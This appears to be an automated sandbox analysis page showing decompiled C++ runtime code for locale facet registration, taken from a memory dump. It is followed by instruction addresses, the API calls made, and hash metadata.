																																																							_t891 = E0042B315(_a8, E0042B22E(0x4edd80, _t890, _t916, __eflags));
																																																							__eflags = _t891;
																																																							if(_t891 != 0) {
																																																								L124:
																																																								E00488E42( &_v20);
																																																								return E0049D8D4(_t891);
																																																							} else {
																																																								__eflags = _t916;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E59F(_t891, _t916, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										E0049D90B(0x4d6966, _t891, _t916);
																																																										E00488DEA( &_v20, 0);
																																																										_t917 =  *0x4ede08; // 0x0
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t917;
																																																										_t892 = E0042B315(_a8, E0042B22E(0x4eddac, _t891, _t917, __eflags));
																																																										__eflags = _t892;
																																																										if(_t892 != 0) {
																																																											L131:
																																																											E00488E42( &_v20);
																																																											return E0049D8D4(_t892);
																																																										} else {
																																																											__eflags = _t917;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E607(_t892, _t917, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													E0049D90B(0x4d6966, _t892, _t917);
																																																													E00488DEA( &_v20, 0);
																																																													_t918 =  *0x4eddd8; // 0x0
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t918;
																																																													_t893 = E0042B315(_a8, E0042B22E(0x4edd84, _t892, _t918, __eflags));
																																																													__eflags = _t893;
																																																													if(_t893 != 0) {
																																																														L138:
																																																														E00488E42( &_v20);
																																																														return E0049D8D4(_t893);
																																																													} else {
																																																														__eflags = _t918;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E682(_t893, _t918, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																E0049D90B(0x4d6966, _t893, _t918);
																																																																E00488DEA( &_v20, 0);
																																																																_t919 =  *0x4ede24; // 0x0
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t919;
																																																																_t894 = E0042B315(_a8, E0042B22E(0x4eddc8, _t893, _t919, __eflags));
																																																																__eflags = _t894;
																																																																if(_t894 != 0) {
																																																																	L145:
																																																																	E00488E42( &_v20);
																																																																	return E0049D8D4(_t894);
																																																																} else {
																																																																	__eflags = _t919;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E0048E6FD(_t894, _t919, __eflags) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(8);
																																																																			E0049D90B(0x4d6966, _t894, _t919);
																																																																			E00488DEA( &_v20, 0);
																																																																			_t920 =  *0x4eddf4; // 0x0
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t920;
																																																																			_t895 = E0042B315(_a8, E0042B22E(0x4edda0, _t894, _t920, __eflags));
																																																																			__eflags = _t895;
																																																																			if(_t895 != 0) {
																																																																				L152:
																																																																				E00488E42( &_v20);
																																																																				return E0049D8D4(_t895);
																																																																			} else {
																																																																				__eflags = _t920;
																																																																				if(__eflags == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					__eflags = E0048E769(_t895, _t920, __eflags) - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E0042B042(__eflags);
																																																																						asm("int3");
																																																																						_push(8);
																																																																						E0049D90B(0x4d6966, _t895, _t920);
																																																																						E00488DEA( &_v20, 0);
																																																																						_t921 =  *0x4ede28; // 0x0
																																																																						_v4 = _v4 & 0x00000000;
																																																																						_v16 = _t921;
																																																																						_t896 = E0042B315(_a8, E0042B22E(0x4eddcc, _t895, _t921, __eflags));
																																																																						__eflags = _t896;
																																																																						if(_t896 != 0) {
																																																																							L159:
																																																																							E00488E42( &_v20);
																																																																							return E0049D8D4(_t896);
																																																																						} else {
																																																																							__eflags = _t921;
																																																																							if(__eflags == 0) {
																																																																								_push(_a8);
																																																																								_push( &_v16);
																																																																								__eflags = E0048E7D5(_t896, _t921, __eflags) - 0xffffffff;
																																																																								if(__eflags == 0) {
																																																																									E0042B042(__eflags);
																																																																									asm("int3");
																																																																									_push(8);
																																																																									E0049D90B(0x4d6966, _t896, _t921);
																																																																									E00488DEA( &_v20, 0);
																																																																									_t922 =  *0x4eddf8; // 0x0
																																																																									_v4 = _v4 & 0x00000000;
																																																																									_v16 = _t922;
																																																																									_t897 = E0042B315(_a8, E0042B22E(0x4edd78, _t896, _t922, __eflags));
																																																																									__eflags = _t897;
																																																																									if(_t897 != 0) {
																																																																										L166:
																																																																										E00488E42( &_v20);
																																																																										return E0049D8D4(_t897);
																																																																									} else {
																																																																										__eflags = _t922;
																																																																										if(__eflags == 0) {
																																																																											_push(_a8);
																																																																											_push( &_v16);
																																																																											_t555 = E0048E849(_t897, _t922, __eflags);
																																																																											_pop(_t799);
																																																																											__eflags = _t555 - 0xffffffff;
																																																																											if(__eflags == 0) {
																																																																												E0042B042(__eflags);
																																																																												asm("int3");
																																																																												_push(_t922);
																																																																												_t923 = _t799;
																																																																												_t290 = _t923 + 0x10;
																																																																												 *_t290 =  *(_t923 + 0x10) & 0x00000000;
																																																																												__eflags =  *_t290;
																																																																												 *((intOrPtr*)(_t923 + 0x14)) = 7;
																																																																												 *_t923 = 0;
																																																																												E00494BE0(_a4);
																																																																												return _t923;
																																																																											} else {
																																																																												_t897 = _v16;
																																																																												_v16 = _t897;
																																																																												_v4 = 1;
																																																																												E0048919D(_t897);
																																																																												 *0x4f02b4();
																																																																												 *((intOrPtr*)( *((intOrPtr*)( *_t897 + 4))))();
																																																																												 *0x4eddf8 = _t897;
																																																																												goto L166;
																																																																											}
																																																																										} else {
																																																																											_t897 = _t922;
																																																																											goto L166;
																																																																										}
																																																																									}
																																																																								} else {
																																																																									_t896 = _v16;
																																																																									_v16 = _t896;
																																																																									_v4 = 1;
																																																																									E0048919D(_t896);
																																																																									 *0x4f02b4();
																																																																									 *((intOrPtr*)( *((intOrPtr*)( *_t896 + 4))))();
																																																																									 *0x4ede28 = _t896;
																																																																									goto L159;
																																																																								}
																																																																							} else {
																																																																								_t896 = _t921;
																																																																								goto L159;
																																																																							}
																																																																						}
																																																																					} else {
																																																																						_t895 = _v16;
																																																																						_v16 = _t895;
																																																																						_v4 = 1;
																																																																						E0048919D(_t895);
																																																																						 *0x4f02b4();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t895 + 4))))();
																																																																						 *0x4eddf4 = _t895;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t895 = _t920;
																																																																					goto L152;
																																																																				}
																																																																			}
																																																																		} else {
																																																																			_t894 = _v16;
																																																																			_v16 = _t894;
																																																																			_v4 = 1;
																																																																			E0048919D(_t894);
																																																																			 *0x4f02b4();
																																																																			 *((intOrPtr*)( *((intOrPtr*)( *_t894 + 4))))();
																																																																			 *0x4ede24 = _t894;
																																																																			goto L145;
																																																																		}
																																																																	} else {
																																																																		_t894 = _t919;
																																																																		goto L145;
																																																																	}
																																																																}
																																																															} else {
																																																																_t893 = _v16;
																																																																_v16 = _t893;
																																																																_v4 = 1;
																																																																E0048919D(_t893);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t893 + 4))))();
																																																																 *0x4eddd8 = _t893;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t893 = _t918;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t892 = _v16;
																																																													_v16 = _t892;
																																																													_v4 = 1;
																																																													E0048919D(_t892);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t892 + 4))))();
																																																													 *0x4ede08 = _t892;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t892 = _t917;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t891 = _v16;
																																																										_v16 = _t891;
																																																										_v4 = 1;
																																																										E0048919D(_t891);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t891 + 4))))();
																																																										 *0x4eddd4 = _t891;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t891 = _t916;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t890 = _v16;
																																																							_v16 = _t890;
																																																							_v4 = 1;
																																																							E0048919D(_t890);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t890 + 4))))();
																																																							 *0x4ede04 = _t890;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t890 = _t915;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t889 = _v16;
																																																				_v16 = _t889;
																																																				_v4 = 1;
																																																				E0048919D(_t889);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t889 + 4))))();
																																																				 *0x4eddd0 = _t889;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t889 = _t914;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t888 = _v16;
																																																	_v16 = _t888;
																																																	_v4 = 1;
																																																	E0048919D(_t888);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t888 + 4))))();
																																																	 *0x4ede00 = _t888;
																																																	goto L103;
																																																}
																																															} else {
																																																_t888 = _t913;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t887 = _v16;
																																														_v16 = _t887;
																																														_v4 = 1;
																																														E0048919D(_t887);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t887 + 4))))();
																																														 *0x4eddec = _t887;
																																														goto L96;
																																													}
																																												} else {
																																													_t887 = _t912;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t886 = _v16;
																																											_v16 = _t886;
																																											_v4 = 1;
																																											E0048919D(_t886);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t886 + 4))))();
																																											 *0x4eddf0 = _t886;
																																											goto L89;
																																										}
																																									} else {
																																										_t886 = _t911;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t885 = _v16;
																																								_v16 = _t885;
																																								_v4 = 1;
																																								E0048919D(_t885);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t885 + 4))))();
																																								 *0x4ede1c = _t885;
																																								goto L82;
																																							}
																																						} else {
																																							_t885 = _t910;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t884 = _v16;
																																					_v16 = _t884;
																																					_v4 = 1;
																																					E0048919D(_t884);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t884 + 4))))();
																																					 *0x4ede20 = _t884;
																																					goto L75;
																																				}
																																			} else {
																																				_t884 = _t909;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t883 = _v16;
																																		_v16 = _t883;
																																		_v4 = 1;
																																		E0048919D(_t883);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t883 + 4))))();
																																		 *0x4edde8 = _t883;
																																		goto L68;
																																	}
																																} else {
																																	_t883 = _t908;
																																	goto L68;
																																}
																															}
																														} else {
																															_t882 = _v16;
																															_v16 = _t882;
																															_v4 = 1;
																															E0048919D(_t882);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t882 + 4))))();
																															 *0x4ede18 = _t882;
																															goto L61;
																														}
																													} else {
																														_t882 = _t907;
																														goto L61;
																													}
																												}
																											} else {
																												_t881 = _v16;
																												_v16 = _t881;
																												_v4 = 1;
																												E0048919D(_t881);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t881 + 4))))();
																												 *0x4edde4 = _t881;
																												goto L54;
																											}
																										} else {
																											_t881 = _t906;
																											goto L54;
																										}
																									}
																								} else {
																									_t880 = _v16;
																									_v16 = _t880;
																									_v4 = 1;
																									E0048919D(_t880);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t880 + 4))))();
																									 *0x4ede14 = _t880;
																									goto L47;
																								}
																							} else {
																								_t880 = _t905;
																								goto L47;
																							}
																						}
																					} else {
																						_t879 = _v16;
																						_v16 = _t879;
																						_v4 = 1;
																						E0048919D(_t879);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t879 + 4))))();
																						 *0x4edde0 = _t879;
																						goto L40;
																					}
																				} else {
																					_t879 = _t904;
																					goto L40;
																				}
																			}
																		} else {
																			_t878 = _v16;
																			_v16 = _t878;
																			_v4 = 1;
																			E0048919D(_t878);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t878 + 4))))();
																			 *0x4ede10 = _t878;
																			goto L33;
																		}
																	} else {
																		_t878 = _t903;
																		goto L33;
																	}
																}
															} else {
																_t877 = _v16;
																_v16 = _t877;
																_v4 = 1;
																E0048919D(_t877);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t877 + 4))))();
																 *0x4eddfc = _t877;
																goto L26;
															}
														} else {
															_t877 = _t902;
															goto L26;
														}
													}
												} else {
													_t876 = _v16;
													_v16 = _t876;
													_v4 = 1;
													E0048919D(_t876);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t876 + 4))))();
													 *0x4edddc = _t876;
													goto L19;
												}
											} else {
												_t876 = _t901;
												goto L19;
											}
										}
									} else {
										_t875 = _v16;
										_v16 = _t875;
										_v4 = 1;
										E0048919D(_t875);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t875 + 4))))();
										 *0x4ede0c = _t875;
										goto L12;
									}
								} else {
									_t875 = _t900;
									goto L12;
								}
							}
						} else {
							_t874 = _v16;
							_v16 = _t874;
							_v4 = 1;
							E0048919D(_t874);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t874 + 4))))();
							 *0x4ede2c = _t874;
							goto L5;
						}
					} else {
						_t874 = _t899;
						goto L5;
					}
				}
			}

0x0048c268
0x0048c268
0x0048c26f
0x0048c279
0x0048c27e
0x0048c289
0x0048c28d
0x0048c299
0x0048c29e
0x0048c2a2
0x0048c2e7
0x0048c2ea
0x0048c2f6
0x0048c2a4
0x0048c2a6
0x0048c2ac
0x0048c2b2
0x0048c2ba
0x0048c2bd
0x0048c2f7
0x0048c2fc
0x0048c2fd
0x0048c304
0x0048c30e
0x0048c313
0x0048c31e
0x0048c322
0x0048c333
0x0048c335
0x0048c337
0x0048c37c
0x0048c37f
0x0048c38b
0x0048c339
0x0048c339
0x0048c33b
0x0048c341
0x0048c347
0x0048c34f
0x0048c352
0x0048c38c
0x0048c391
0x0048c392
0x0048c399
0x0048c3a3
0x0048c3a8
0x0048c3b3
0x0048c3b7
0x0048c3c8
0x0048c3ca
0x0048c3cc
0x0048c411
0x0048c414
0x0048c420
0x0048c3ce
0x0048c3ce
0x0048c3d0
0x0048c3d6
0x0048c3dc
0x0048c3e4
0x0048c3e7
0x0048c421
0x0048c426
0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c45d
0x0048c45f
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0
0x0048c354
0x0048c354
0x0048c357
0x0048c35b
0x0048c35f
0x0048c36c
0x0048c374
0x0048c376
0x00000000
0x0048c376
0x0048c33d
0x0048c33d
0x00000000
0x0048c33d
0x0048c33b
0x0048c2bf
0x0048c2bf
0x0048c2c2
0x0048c2c6
0x0048c2ca
0x0048c2d7
0x0048c2df
0x0048c2e1
0x00000000
0x0048c2e1
0x0048c2a8
0x0048c2a8
0x00000000
0x0048c2a8
0x0048c2a6

APIs

__EH_prolog3.LIBCMT ref: 0048C26F
std::_Lockit::_Lockit.LIBCPMT ref: 0048C279

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

codecvt.LIBCPMT ref: 0048C2B3
std::_Facet_Register.LIBCPMT ref: 0048C2CA
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C2EA
Concurrency::cancel_current_task.LIBCPMT ref: 0048C2F7

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercodecvt
String ID:
API String ID: 878568432-0
Opcode ID: f9b42739db0fe4ad26672f8d983802dcc547d66bd66853f7c03e4a294528a55f
Instruction ID: a07ac3cf4498590bcecd5019c5e677d058efcd5d06127725674c0da307080c16
Opcode Fuzzy Hash: f9b42739db0fe4ad26672f8d983802dcc547d66bd66853f7c03e4a294528a55f
Instruction Fuzzy Hash: 74018B75D001158BCB05BBA5D85A6BE77A1AF84714F15485EE810AB3C2CF789A018B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0048C2FD, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

